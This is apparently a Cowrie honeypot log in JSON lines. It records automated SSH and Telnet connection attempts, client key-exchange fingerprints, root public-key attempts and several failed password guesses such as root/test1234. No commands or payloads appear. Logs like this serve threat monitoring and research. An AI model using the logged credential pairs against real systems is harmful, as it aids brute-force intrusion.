{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:12.183684Z","src_ip":"192.109.200.237","session":"80b490de4353","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost","message":"login attempt [ghost/ghost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:12.433179Z","src_ip":"192.109.200.237","session":"80b490de4353","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:13.527886Z","src_ip":"192.109.200.237","session":"80b490de4353","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.184.158","src_port":50110,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc02cceef7c9","protocol":"ssh","message":"New connection: 31.42.184.158:50110 (10.17.0.5:22) [session: fc02cceef7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:14.797538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:14.802552Z","src_ip":"31.42.184.158","session":"fc02cceef7c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:14.937861Z","src_ip":"31.42.184.158","session":"fc02cceef7c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48890,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9f81d8585e2","protocol":"ssh","message":"New connection: 192.109.200.237:48890 (159.203.135.109:22) [session: d9f81d8585e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:15.205422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:15.210676Z","src_ip":"192.109.200.237","session":"d9f81d8585e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:15.297643Z","src_ip":"192.109.200.237","session":"d9f81d8585e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:5f:d7:3f:1a:67:58:a5:e6:45:d0:4e:11:f5:30:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrRvn8afVhMANA8/eZYvfERkS0tYZ2b/QPRf+zZKQQr0nA19lqkTHZWj+wqWIWu9rqjVa8WBR/HMe1GalzHeMmnDuZF0s31YFN52+Xdtma3SUDj68L6IQobqlgeDjtgmttbdXVsEDpaVd1TTPIhLG7PS3Bg7/kzjTUzvcZX7h6KKd4SEqL+/6LpW2LRyAEY2o/ZByskP6aiSsAExL6616KBR+HOaY++ovempv4SS4ri5Qkdcd3+HGJ3xzV2W0xiBKcMfS9yh7mYmXbWeauiswD1BQSpEhj7IQOBOjhZP5Xc9VQfCJ8ceq/DL/3R5tH1BBqPdUuv9hSotay1Fy3Q8tF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:5f:d7:3f:1a:67:58:a5:e6:45:d0:4e:11:f5:30:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:15.583548Z","src_ip":"31.42.184.158","session":"fc02cceef7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:5f:d7:3f:1a:67:58:a5:e6:45:d0:4e:11:f5:30:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrRvn8afVhMANA8/eZYvfERkS0tYZ2b/QPRf+zZKQQr0nA19lqkTHZWj+wqWIWu9rqjVa8WBR/HMe1GalzHeMmnDuZF0s31YFN52+Xdtma3SUDj68L6IQobqlgeDjtgmttbdXVsEDpaVd1TTPIhLG7PS3Bg7/kzjTUzvcZX7h6KKd4SEqL+/6LpW2LRyAEY2o/ZByskP6aiSsAExL6616KBR+HOaY++ovempv4SS4ri5Qkdcd3+HGJ3xzV2W0xiBKcMfS9yh7mYmXbWeauiswD1BQSpEhj7IQOBOjhZP5Xc9VQfCJ8ceq/DL/3R5tH1BBqPdUuv9hSotay1Fy3Q8tF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:15.587583Z","src_ip":"31.42.184.158","session":"fc02cceef7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:15.610738Z","src_ip":"192.109.200.237","session":"d9f81d8585e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:11:e7:c4:6a:22:37:2d:30:ad:3b:34:1b:f0:02:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeZ0k7XtQW12Pa4dCS0kLyR09qskLqn631auBXyvHHLWdXcqwkP87uYEKafiyGXMVXfjUkRoVg4/8BoTbuu6cn5/REpvNbRshuv1dZcwtLonhGxA8/qdvbNPg/u4wNbHSBwiNgoGuKn/4I8onASpZdzIwLNwV/55CgdMnwQLIPGzBm6mTfp4Z6UGPGuX1YdLP0oLOplm/qP9L5+X97LIkPTCYuob8Qcg+dcDaZ0damcfnMaaolooDJ+YxxtqTRQVnG3VwxCxKndBf86Z3YqJB4reiImRIUNcXfxGMAbu8GCFg9nNugmu+A/o0oJ1oG0hO5jzTDOPf/c09RajV3FdDz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:11:e7:c4:6a:22:37:2d:30:ad:3b:34:1b:f0:02:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:15.722260Z","src_ip":"31.42.184.158","session":"fc02cceef7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:11:e7:c4:6a:22:37:2d:30:ad:3b:34:1b:f0:02:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeZ0k7XtQW12Pa4dCS0kLyR09qskLqn631auBXyvHHLWdXcqwkP87uYEKafiyGXMVXfjUkRoVg4/8BoTbuu6cn5/REpvNbRshuv1dZcwtLonhGxA8/qdvbNPg/u4wNbHSBwiNgoGuKn/4I8onASpZdzIwLNwV/55CgdMnwQLIPGzBm6mTfp4Z6UGPGuX1YdLP0oLOplm/qP9L5+X97LIkPTCYuob8Qcg+dcDaZ0damcfnMaaolooDJ+YxxtqTRQVnG3VwxCxKndBf86Z3YqJB4reiImRIUNcXfxGMAbu8GCFg9nNugmu+A/o0oJ1oG0hO5jzTDOPf/c09RajV3FdDz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:15.727099Z","src_ip":"31.42.184.158","session":"fc02cceef7c9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:2d:5a:1a:ff:6a:9c:16:35:11:bb:83:e1:00:ee:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7VHu3z96+5P762NmM2IjVF7x+SLfAHjZsN+V9s9vY3M0QGCfKnuEnkN6M47bwUIOrQzFqAJoK3ak/9KszkPlt8JYyQw/qAB1HJw4V064tA4FrAEdIuqQ12TcqjEUslr07Q8NwO9iEHbXYVJVIg+4VGBNdxQBGGqoaRU/iggWx9VFfAnInqd+InJ1FP19o+VvFzB9b6uolAXrRpxwH9moG7DkZLZK7/YPZUPLwFytZrQHS1TaCi3M7428I2XprgBrhtFKyenVp5gbVouy+19UoCkuIZC6RBq2DNeTn24nXflrpjJvAdr/rpgvJKtlvrXL16y736N8AHFXICXiRwJYLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:2d:5a:1a:ff:6a:9c:16:35:11:bb:83:e1:00:ee:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:15.863418Z","src_ip":"31.42.184.158","session":"fc02cceef7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:2d:5a:1a:ff:6a:9c:16:35:11:bb:83:e1:00:ee:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7VHu3z96+5P762NmM2IjVF7x+SLfAHjZsN+V9s9vY3M0QGCfKnuEnkN6M47bwUIOrQzFqAJoK3ak/9KszkPlt8JYyQw/qAB1HJw4V064tA4FrAEdIuqQ12TcqjEUslr07Q8NwO9iEHbXYVJVIg+4VGBNdxQBGGqoaRU/iggWx9VFfAnInqd+InJ1FP19o+VvFzB9b6uolAXrRpxwH9moG7DkZLZK7/YPZUPLwFytZrQHS1TaCi3M7428I2XprgBrhtFKyenVp5gbVouy+19UoCkuIZC6RBq2DNeTn24nXflrpjJvAdr/rpgvJKtlvrXL16y736N8AHFXICXiRwJYLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:15.868000Z","src_ip":"31.42.184.158","session":"fc02cceef7c9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:e7:1f:e4:a8:9f:ca:34:7f:19:4a:71:94:e7:64:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGEP1GbTpioSOF/z3TZDB/AQj130vs7OGO/42uHR+e4rD+vWjIIxpuxGfD8paBuLO0ZY5yKedKf/Hpt5IOELMLo/PhyLy0GJ7ZDlPr9sIqQEXfWznP5cKPhJZiml7Xd1MAVId0B/My1uhKXJCozeskw0yIhrvNeK9Q47pscmQxym0UukYSlWd+3wbpo7IcjzssVMakB3LdI2jk7P3gP5i2hIm1ohCBjK4c2XrGJVkO0vy/szn+XlGK8PoBqqEcPhfnlHV4gAiwz48tCZZxlG/j66mAzUe+yIieRzl/gFx7FkGW+Gt1muRnR54ECwBbd3xqbYE6ikJqsTHRoeFYhoF5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:e7:1f:e4:a8:9f:ca:34:7f:19:4a:71:94:e7:64:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:16.007133Z","src_ip":"31.42.184.158","session":"fc02cceef7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:e7:1f:e4:a8:9f:ca:34:7f:19:4a:71:94:e7:64:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGEP1GbTpioSOF/z3TZDB/AQj130vs7OGO/42uHR+e4rD+vWjIIxpuxGfD8paBuLO0ZY5yKedKf/Hpt5IOELMLo/PhyLy0GJ7ZDlPr9sIqQEXfWznP5cKPhJZiml7Xd1MAVId0B/My1uhKXJCozeskw0yIhrvNeK9Q47pscmQxym0UukYSlWd+3wbpo7IcjzssVMakB3LdI2jk7P3gP5i2hIm1ohCBjK4c2XrGJVkO0vy/szn+XlGK8PoBqqEcPhfnlHV4gAiwz48tCZZxlG/j66mAzUe+yIieRzl/gFx7FkGW+Gt1muRnR54ECwBbd3xqbYE6ikJqsTHRoeFYhoF5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:16.013598Z","src_ip":"31.42.184.158","session":"fc02cceef7c9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:7e:97:d9:cc:c6:96:0d:a9:d6:99:fa:5c:cb:82:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZftiL4c+ws6VUqS4tKtiomAepovGOau5IyQm9ifOh9GfV99695I3V2kmR2LeYQptr6/Idg+NTBkE9/W0BXQN8/NLKGw0fNNdbb9AFkB8jiv8TdNegBCsartwf7W0ANGAIsNs2v1X3vxud65atwFHx0yivdlmTwcAm1LkpEClZuZUim2qS3pP5c/WIRGVt+WH0Ne9zvMeWkyox9Nvm2j5e2ryxdJiHqub0y0PWwcbc7PXD0kShvYOWwD7Nh3YfaMLZ77pROGjTi/49ccHYUK7qMsAaCi+gapn1SpaR6K+zmm5ZFc+xBGIeB7LW2/H7LpXqxG473GajSimbrB88sZgF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:7e:97:d9:cc:c6:96:0d:a9:d6:99:fa:5c:cb:82:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:16.149042Z","src_ip":"31.42.184.158","session":"fc02cceef7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:7e:97:d9:cc:c6:96:0d:a9:d6:99:fa:5c:cb:82:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZftiL4c+ws6VUqS4tKtiomAepovGOau5IyQm9ifOh9GfV99695I3V2kmR2LeYQptr6/Idg+NTBkE9/W0BXQN8/NLKGw0fNNdbb9AFkB8jiv8TdNegBCsartwf7W0ANGAIsNs2v1X3vxud65atwFHx0yivdlmTwcAm1LkpEClZuZUim2qS3pP5c/WIRGVt+WH0Ne9zvMeWkyox9Nvm2j5e2ryxdJiHqub0y0PWwcbc7PXD0kShvYOWwD7Nh3YfaMLZ77pROGjTi/49ccHYUK7qMsAaCi+gapn1SpaR6K+zmm5ZFc+xBGIeB7LW2/H7LpXqxG473GajSimbrB88sZgF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:16.153241Z","src_ip":"31.42.184.158","session":"fc02cceef7c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":55052,"dst_ip":"10.17.0.5","dst_port":22,"session":"67286bbc31f5","protocol":"ssh","message":"New connection: 103.173.227.57:55052 (10.17.0.5:22) [session: 67286bbc31f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:16.188782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:16.193743Z","src_ip":"103.173.227.57","session":"67286bbc31f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:16.287944Z","src_ip":"31.42.184.158","session":"fc02cceef7c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:16.432350Z","src_ip":"103.173.227.57","session":"67286bbc31f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":55812,"dst_ip":"159.203.135.109","dst_port":22,"session":"c75a7bdf171e","protocol":"ssh","message":"New connection: 147.45.199.80:55812 (159.203.135.109:22) [session: c75a7bdf171e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:16.454207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:16.458912Z","src_ip":"147.45.199.80","session":"c75a7bdf171e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:16.559730Z","src_ip":"147.45.199.80","session":"c75a7bdf171e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:16.695835Z","src_ip":"192.109.200.237","session":"d9f81d8585e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minicalibra","message":"login attempt [root/minicalibra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:16.863183Z","src_ip":"147.45.199.80","session":"c75a7bdf171e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19701970","message":"login attempt [root/19701970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:17.149017Z","src_ip":"103.173.227.57","session":"67286bbc31f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33346,"dst_ip":"10.17.0.5","dst_port":23,"session":"17c7a7d53115","protocol":"telnet","message":"New connection: 192.119.13.58:33346 (10.17.0.5:23) [session: 17c7a7d53115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:17.192621Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:17.964966Z","src_ip":"147.45.199.80","session":"c75a7bdf171e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:18:18.388978Z","src_ip":"103.173.227.57","session":"67286bbc31f5","protocol":"ssh"}
